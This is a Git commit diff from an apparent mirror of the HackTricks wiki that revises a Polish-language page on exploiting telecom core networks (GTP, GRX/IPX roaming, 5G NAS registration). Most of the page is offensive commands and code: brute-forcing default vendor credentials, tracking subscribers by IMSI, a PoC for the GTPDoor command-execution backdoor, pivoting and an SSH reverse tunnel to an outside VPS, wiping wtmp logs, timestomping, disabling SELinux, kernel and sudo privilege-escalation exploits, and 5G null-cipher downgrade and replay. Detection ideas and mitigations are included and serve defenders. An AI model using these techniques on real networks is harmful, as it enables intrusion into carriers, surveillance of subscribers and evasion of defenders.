mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
0982e62bc0
commit
e470cdc691
@ -1,27 +1,27 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
# Wykorzystywanie sieci telekomunikacyjnych (GTP / środowiska roamingowe)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Protokół mobilny (GPRS Tunnelling Protocol – GTP) często przechodzi przez pół-zaufane rdzenie roamingowe GRX/IPX. Ponieważ korzystają z prostego UDP z prawie żadną autoryzacją, **jakiekolwiek wejście wewnątrz perymetru telekomunikacyjnego zazwyczaj może bezpośrednio dotrzeć do rdzeniowych płaszczyzn sygnalizacyjnych**. Poniższe uwagi zbierają ofensywne sztuczki zaobserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
|
||||
> Protokoły rdzenia mobilnego (GPRS Tunnelling Protocol – GTP) często przebiegają przez pół-zaufane zaplecza roamingowe GRX/IPX. Ponieważ korzystają z plain UDP z niemal żadnym uwierzytelnianiem, **każde przyczółkowe wejście w obręb telekomu zazwyczaj może bezpośrednio dotrzeć do płaszczyzn sygnalizacyjnych rdzenia**. Poniższe notatki zbierają ofensywne sztuczki zaobserwowane w praktyce przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z twardo zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana lista słów znacznie zwiększa sukces brute-force:
|
||||
### 1.1 Domyślne konta OSS / NE
|
||||
Zadziwiająco duża liczba elementów sieciowych vendorów jest dostarczana z na stałe zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana wordlist dramatycznie zwiększa sukces brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Jeśli urządzenie udostępnia tylko VRF zarządzania, najpierw przeskocz przez host skokowy (zobacz sekcję «SGSN Emu Tunnel» poniżej).
|
||||
Jeśli urządzenie udostępnia tylko management VRF, najpierw wykonaj pivot przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).
|
||||
|
||||
### 1.2 Odkrywanie hostów w GRX/IPX
|
||||
Większość operatorów GRX nadal pozwala na **ICMP echo** wzdłuż rdzenia. Połącz `masscan` z wbudowanymi sondami UDP `gtpv1`, aby szybko zmapować nasłuchiwacze GTP-C:
|
||||
### 1.2 Wykrywanie hostów w GRX/IPX
|
||||
Większość operatorów GRX nadal zezwala na **ICMP echo** przez backbone. Połącz `masscan` z wbudowanymi `gtpv1` UDP probes, aby szybko zmapować nasłuchiwacze GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerowanie subskrybentów – `cordscan`
|
||||
## 2. Enumeracja abonentów – `cordscan`
|
||||
|
||||
Narzędzie Go tworzy pakiety **GTP-C Create PDP Context Request** i rejestruje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytany IMSI i, czasami, odwiedzony przez subskrybenta PLMN.
|
||||
Poniższe narzędzie w Go tworzy pakiety **GTP-C Create PDP Context Request** i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytanego IMSI i, czasami, odwiedzany PLMN abonenta.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -30,19 +30,19 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Kluczowe flagi:
|
||||
- `--imsi` Docelowy subskrybent IMSI
|
||||
- `--oper` Krajowy / HNI (MCC+MNC)
|
||||
- `-w` Zapisz surowe pakiety do pcap
|
||||
- `--imsi` Docelowy IMSI subskrybenta
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Zapisuje surowe pakiety do pcap
|
||||
|
||||
Ważne stałe wewnątrz binarnego pliku mogą być zmieniane, aby rozszerzyć skany:
|
||||
Ważne stałe wewnątrz binarki można załatać, aby rozszerzyć skany:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Wykonanie kodu przez GTP – `GTPDoor`
|
||||
## 3. Uruchamianie kodu przez GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były nigdy tworzone.
|
||||
`GTPDoor` to mała usługa ELF, która **nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C**. Gdy payload zaczyna się od wcześniej udostępnionego tagu, reszta jest odszyfrowywana (AES-128-CBC) i wykonywana przez `/bin/sh -c`. Wyjścia stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, dzięki czemu nie jest tworzona żadna sesja wychodząca.
|
||||
|
||||
Minimalny pakiet PoC (Python):
|
||||
```python
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Wykrywanie:
|
||||
* każdy host wysyłający **niezrównoważone żądania Echo** do adresów IP SGSN
|
||||
* flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) – odchylenie od specyfikacji
|
||||
* każdy host wysyłający **unbalanced Echo Requests** do adresów IP SGSN
|
||||
* flaga wersji GTP ustawiona na 1, podczas gdy typ wiadomości = 1 (Echo) – odstępstwo od specyfikacji
|
||||
|
||||
## 4. Przechodzenie przez rdzeń
|
||||
## 4. Pivoting przez Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP w kierunku rzeczywistego GGSN/PGW**. Po negocjacji, Linux otrzymuje nowy interfejs `tun0` dostępny z roamingowego partnera.
|
||||
`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP z rzeczywistym GGSN/PGW**. Po negocjacji Linux otrzymuje nowy interfejs `tun0`, dostępny dla partnera roamingowego.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Dzięki odpowiedniemu przekierowaniu zapory, ten tunel omija VLAN-y tylko do sygnalizacji i ląduje bezpośrednio w **warstwie danych**.
|
||||
Przy odpowiednim firewall hair-pinning ten tunel omija signalling-only VLANs i trafia bezpośrednio do **data plane**.
|
||||
|
||||
### 4.2 Odwrócony tunel SSH przez port 53
|
||||
DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS jest niemal zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
|
||||
|
||||
## 5. Ukryte kanały
|
||||
## 5. Kanały ukryte
|
||||
|
||||
| Kanał | Transport | Dekodowanie | Uwagi |
|
||||
|-------|-----------|-------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtowy klucz + 14-bajtowe kawałki (XOR) | czysty pasywny nasłuchiwacz, brak ruchu wychodzącego |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | obserwuje subdomenę `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym czatem GTP-C |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | całkowicie pasywny listener, brak ruchu wychodzącego |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | nasłuchuje subdomeny `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | maskuje się w legalnym ruchu GTP-C |
|
||||
|
||||
Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie uruchamiają się w przypadku awarii.
|
||||
Wszystkie implants używają watchdogów, które wykonują **timestomp** na swoich binarkach i re-spawnują się po awarii.
|
||||
|
||||
## 6. Arkusz oszustw w zakresie unikania obrony
|
||||
## 6. Defense Evasion — ściąga
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Eskalacja uprawnień w Legacy NE
|
||||
## 7. Privilege Escalation w Legacy NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -111,30 +111,137 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Wskazówka dotycząca czyszczenia:
|
||||
Wskazówka dotycząca sprzątania:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Narzędzia
|
||||
## 8. Skrzynka narzędzi
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – niestandardowe narzędzia opisane w poprzednich sekcjach.
|
||||
* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS nieautoryzowany WPAD
|
||||
* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
|
||||
* `FRP` (≥0.37) : przechodzenie przez NAT / mostkowanie zasobów
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisane we wcześniejszych sekcjach.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. Ataki rejestracji 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
Procedura rejestracji 5G przebiega po NAS (Non-Access Stratum) na NGAP. Do momentu aktywacji bezpieczeństwa NAS przez Security Mode Command/Complete, początkowe wiadomości są nieautentykowane i niezaszyfrowane. To okno przed zabezpieczeniem umożliwia wiele ścieżek ataku, gdy możesz obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).
|
||||
|
||||
Przepływ rejestracji (upraszczony):
|
||||
- Registration Request: UE wysyła SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej) i capabilities.
|
||||
- Authentication: AMF/AUSF wysyłają RAND/AUTN; UE zwraca RES*.
|
||||
- Security Mode Command/Complete: negocjowana i aktywowana jest integralność i szyfrowanie NAS.
|
||||
- PDU Session Establishment: konfiguracja IP/QoS.
|
||||
|
||||
Wskazówki do laboratorium (bez RF):
|
||||
- Core: domyślna deployacja Open5GS wystarcza do odtworzenia przepływów.
|
||||
- UE: simulator lub test UE; dekoduj za pomocą Wireshark.
|
||||
- Aktywne narzędzia: 5GReplay (capture/modify/replay NAS w ramach NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez uruchamiania pełnego rogue gNB).
|
||||
- Przydatne filtry wyświetlania w Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Prywatność identyfikatora: awarie SUCI ujawniające SUPI/IMSI
|
||||
Oczekiwane: UE/USIM musi wysyłać SUCI (SUPI zaszyfrowany kluczem publicznym operatora domowego). Znalezienie SUPI/IMSI w postaci plaintext w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.
|
||||
|
||||
Jak testować:
|
||||
- Przechwyć pierwszą wiadomość NAS w InitialUEMessage i sprawdź Mobile Identity IE.
|
||||
- Szybkie kontrole w Wireshark:
|
||||
- Powinno się zdekodować jako SUCI, nie IMSI.
|
||||
- Przykładowe filtry: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` powinny występować; ich brak wraz z obecnością `imsi` wskazuje na leak.
|
||||
|
||||
Co zbierać:
|
||||
- MCC/MNC/MSIN jeśli są ujawnione; logować per-UE i śledzić w czasie/lokalizacjach.
|
||||
|
||||
Łagodzenie:
|
||||
- Wymusić UEs/USIMs wysyłające tylko SUCI; alertować przy każdym IMSI/SUPI w initial NAS.
|
||||
|
||||
### 9.2 Capability bidding-down do algorytmów null (EEA0/EIA0)
|
||||
Tło:
|
||||
- UE reklamuje obsługiwane EEA (szyfrowanie) i EIA (integralność) w UE Security Capability IE Registration Request.
|
||||
- Typowe mapowania: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 to algorytmy null.
|
||||
|
||||
Problem:
|
||||
- Ponieważ Registration Request nie jest chroniony integralnością, atakujący on-path może wyczyścić bity capability, aby wymusić wybór EEA0/EIA0 później w Security Mode Command. Niektóre stosy błędnie pozwalają na algorytmy null poza usługami awaryjnymi.
|
||||
|
||||
Kroki ofensywne:
|
||||
- Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability tak, by reklamować tylko EEA0/EIA0.
|
||||
- Przy użyciu Sni5Gect podczep NAS message i załat w nim bity capability przed forwardem.
|
||||
- Obserwuj, czy AMF akceptuje null ciphers/integrity i kończy Security Mode z EEA0/EIA0.
|
||||
|
||||
Weryfikacja/widoczność:
|
||||
- W Wireshark potwierdź wybrane algorytmy po Security Mode Command/Complete.
|
||||
- Przykładowy output pasywnego sniffera:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Środki zaradcze (wymagane):
|
||||
- Skonfiguruj AMF/policy tak, aby odrzucał EEA0/EIA0, z wyjątkiem sytuacji ściśle nakazanych (np. połączenia alarmowe).
|
||||
- Wymagaj przynajmniej EEA2/EIA2; rejestruj i zgłaszaj alarm dla każdego kontekstu bezpieczeństwa NAS, który negocjuje null algorithms.
|
||||
|
||||
### 9.3 Odtworzenie początkowego Registration Request (pre-security NAS)
|
||||
Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać odtworzony do AMF.
|
||||
|
||||
Reguła PoC dla 5GReplay do przekazywania pasujących odtworzeń:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
Co obserwować:
|
||||
- Czy AMF akceptuje replay i przechodzi do uwierzytelniania; brak walidacji świeżości/kontekstu wskazuje na narażenie.
|
||||
|
||||
Mitigations:
|
||||
- Wymuszaj ochronę przed replay oraz powiązanie kontekstu na AMF; stosuj rate-limiting i koreluj zdarzenia per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: uruchom AMF/SMF/UPF, aby emulować core; obserwuj N2 (NGAP) i NAS.
|
||||
- Wireshark: zweryfikuj dekodowania NGAP/NAS; zastosuj powyższe filtry, aby odizolować Registration.
|
||||
- 5GReplay: przechwyć registration, a następnie odtwórz konkretne komunikaty NGAP + NAS zgodnie z regułą.
|
||||
- Sni5Gect: na żywo sniff/modify/inject płaszczyznę kontrolną NAS, aby wymusić null algorithms lub zakłócić sekwencje uwierzytelniania.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Ciągle inspekcjonuj Registration Request pod kątem plaintext SUPI/IMSI; blokuj urządzenia/USIMy powodujące problem.
|
||||
- Odrzucaj EEA0/EIA0 poza ściśle określonymi procedurami awaryjnymi; wymagaj co najmniej EEA2/EIA2.
|
||||
- Wykrywaj nieautoryzowaną lub źle skonfigurowaną infrastrukturę: nieautoryzowane gNB/AMF, nieoczekiwani peerzy N2.
|
||||
- Generuj alerty dla trybów bezpieczeństwa NAS skutkujących null algorithms lub częstymi replayami InitialUEMessage.
|
||||
|
||||
---
|
||||
## Pomysły na wykrywanie
|
||||
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN nawiązujące żądania utworzenia kontekstu PDP**.
|
||||
2. **Niestandardowe porty (53, 80, 443) odbierające handshake SSH** z wewnętrznych adresów IP.
|
||||
3. **Częste żądania Echo bez odpowiadających odpowiedzi Echo** – mogą wskazywać na sygnały GTPDoor.
|
||||
4. **Wysoka liczba ruchu ICMP echo-reply z dużymi, niezerowymi polami identyfikatora/sekwencji**.
|
||||
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN ustanawiające Create PDP Context Requests**.
|
||||
2. **Porty niestandardowe (53, 80, 443) otrzymujące SSH handshakes** z wewnętrznych IP.
|
||||
3. **Częste Echo Requests bez odpowiadających Echo Responses** – może wskazywać na GTPDoor beacony.
|
||||
4. **Wysokie natężenie ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence**.
|
||||
5. 5G: **InitialUEMessage zawierające NAS Registration Requests powtarzane z tych samych punktów końcowych** (sygnał replay).
|
||||
6. 5G: **NAS Security Mode negocjujący EEA0/EIA0** poza kontekstami awaryjnymi.
|
||||
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltracja globalnych sieci telekomunikacyjnych](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Protokół tunelowania GPRS (v16.4.0)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user